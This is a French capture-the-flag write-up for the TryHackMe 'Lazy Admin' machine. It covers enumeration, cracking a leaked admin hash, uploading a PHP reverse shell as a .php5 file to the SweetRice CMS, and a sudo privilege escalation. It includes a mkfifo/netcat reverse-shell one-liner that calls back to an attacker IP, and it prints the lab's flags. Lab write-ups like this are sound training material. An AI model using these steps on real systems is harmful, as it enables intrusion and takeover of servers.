$ cat Capture The Flag : Résolution de Lazy Admin avec l’aide le PHP-Reverse-Shell de Pentestmonkey
Contexte: Une partie importante de ce défi implique l’exploitation de la vulnérabilité d’un serveur web en utilisant le script pentestmonkey’s php-reverse-shell. Mais pourquoi l’appelons-nous ‘Lazy Admin’? Il faut savoir que, dans le monde réel de l’administra…
Contexte:
Une partie importante de ce défi implique l’exploitation de la vulnérabilité d’un serveur web en utilisant le script pentestmonkey’s php-reverse-shell. Mais pourquoi l’appelons-nous ‘Lazy Admin’?
Il faut savoir que, dans le monde réel de l’administration des systèmes, la rigueur est l’un des piliers essentiels pour garantir la sécurité. Malheureusement, tous les administrateurs ne respectent pas toujours cette règle. Dans certains cas, par manque de temps, par négligence ou par simple ignorance, certains administrateurs peuvent devenir ‘paresseux’ et commettre des erreurs qui peuvent être catastrophiques sur le plan de la sécurité.
Un exemple parfait de cette situation se retrouve dans notre défi ‘Lazy Admin’. L’un des premiers environnements que nous découvrons lors de l’exploration de ce défi est une sauvegarde d’une base de données SQL mal gérée.
Maintenant que nous avons établi le contexte: nous pouvons continuer
Guide:
Victim IP : 10.10.185.6
La première chose que nous faisons est d’exécuter un scan NMAP :
nmap -sV -A -T5 $target -oN CTF/LazyAdmin/NMap.log
RAW LOG:
Nmap 7.94 scan initiated Fri Sep 8 14:20:16 2023 as: nmap -sV -A -T5 -oN CTF/LazyAdmin/NMap.log 10.10.185.6
Nmap scan report for 10.10.185.6
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
| 256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_ 256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Fri Sep 8 14:20:26 2023 -- 1 IP address (1 host up) scanned in 10.14 seconds
Nous constatons que le port 80 est ouvert dans ce cas. Nous allons donc essayer de l’énumérer en utilisant Gobuster : Nous utiliserons la commande suivante :
gobuster dir -u http://10.10.185.6 -w /usr/share/wordlists/dirb/common.txt
Nos tests sur index.html montrent qu’il s’agit d’une page non fonctionnelle, ce qui signifie qu’elle est en cours de développement. Mais nos scans Gobuster montrent qu’il y a plus à voir dans le répertoire /content, nous allons donc naturellement le scanner.
gobuster dir -u http://10.10.185.6/content -w /usr/share/wordlists/dirb/common.txt
Nous avons trouvé quelques répertoires intéressants que nous allons examiner : /content/as et /content/inc.
Après avoir accédé au répertoire /as, nous constatons qu’il s’agit d’une page de connexion. Nous allons la vérifier plus tard et inspecter d’abord /inc.
Après avoir vu une liste de ressources, nous trouvons un fichier très intéressant appelé mysql_backup.sql.
Nous allons enregistrer ce fichier sur notre machine pour l’examiner de plus près.
Grâce à ce fichier, nous avons un nom d’utilisateur : manager, mais surtout ce qui semble être un HASH de mot de passe.
Pour plus de commodité, nous allons essayer de le décoder en ligne en utilisant le site web crackstation.net.
BINGO ! Nous avons maintenant un nom d’utilisateur et un mot de passe :
Utilisateur: manager
**MDP: **Password123
Maintenant, essayons de l’utiliser sur la page de connexion /as.
Et maintenant, nous sommes à l’intérieur du panneau d’administration SweetRice. Nous allons essayer d’injecter le pentestmonkey/php-reverse-shell en l’uploadant en tant que thème personnalisé.
D’abord, nous allons modifier le script en exécutant la commande suivante :
nano /php-reverse-shell.php
Maintenant, nous allons modifier le script avec notre adresse IP et le port que nous écouterons.
Lorsque nous essayons d’uploader la charge utile en tant que thème, nous constatons que cette section n’accepte que les formats ZIP, nous allons donc essayer de créer un article avec la charge utile attachée.
En essayant d’attacher la charge utile à un article, je viens de découvrir que les fichiers PHP sont sur liste noire, MAIS les fichiers .PHP5 ne le sont pas.
Donc, nous avons notre charge utile que nous pouvons voir dans l’URL suivante :
http://10.10.185.6/content/attachment/
Maintenant, nous allons configurer un écouteur netcat sur le port 1234 en utilisant la commande suivante :
nc -nlvp 1234
Et maintenant, nous naviguons jusqu’à l’emplacement de notre charge utile et cliquons dessus, ce qui devrait nous donner un shell.
(La machine virtuelle a expiré sur le site THM, c’est pourquoi l’adresse IP n’est pas la même)
ET NOUS AVONS UN SHELL
Je génère une console pty pour stabiliser le shell au cas où.
Nous utilisons la commande cat /etc/passwd pour voir qu’il y a un autre utilisateur appelé itguy. Après avoir utilisé la commande whoami, nous constatons que nous sommes l’utilisateur www-data.
En vérifiant le répertoire de l’utilisateur, nous trouvons des documents intéressants ainsi que le premier drapeau :
cat user.txt=THM\{63e5bce9271952aad1113b6f1ac28a07\}
Nous avons également d’autres informations de connexion pour une base de données SQL :
**Utilisateur: **rice
**MDP: **randompassword
Et maintenant, nous lançons la commande:
sudo -l.
Maintenant, nous avons un message intéressant :
L’utilisateur www-data peut exécuter les commandes suivantes sur THM-Chal :
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
Fait intéressant, backup.pl exécute un autre script shell (.sh), qui peut également être exécuté avec des privilèges sudo. Ce script shell contient déjà un reverse shell, il suffit donc de modifier l’adresse IP par la vôtre et d’activer le fichier backup.pl à l’aide de sudo pour obtenir un shell root sur le port où votre écouteur netcat reçoit la connexion du reverse shell.
En résumé, backup.pl, sous sudo, déclenche l’exécution de copy.sh. Copy.pl contient un reverse shell où vous pouvez insérer vos informations IP. En configurant un écouteur sur le port de copy.sh et en l’exécutant en tant que sudo, vous obtenez les droits d’utilisateur root.
Nous modifions donc le fichier /etc/copy.sh à l’aide de la commande suivante.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.50.72 5554 >/tmp/f" > /etc/copy.sh
Maintenant, nous créons un autre écouteur netcat sur le port 5554 et nous lançons la commande suivante :
sudo perl /home/itguy/backup.pl
Maintenant, nous sommes root, et nous pouvons trouver le dernier drapeau :
cat /root/root.txt = THM\{6637f41d0177b6f37cb20d775124699f\}
Et voilà, notre CTF est terminé.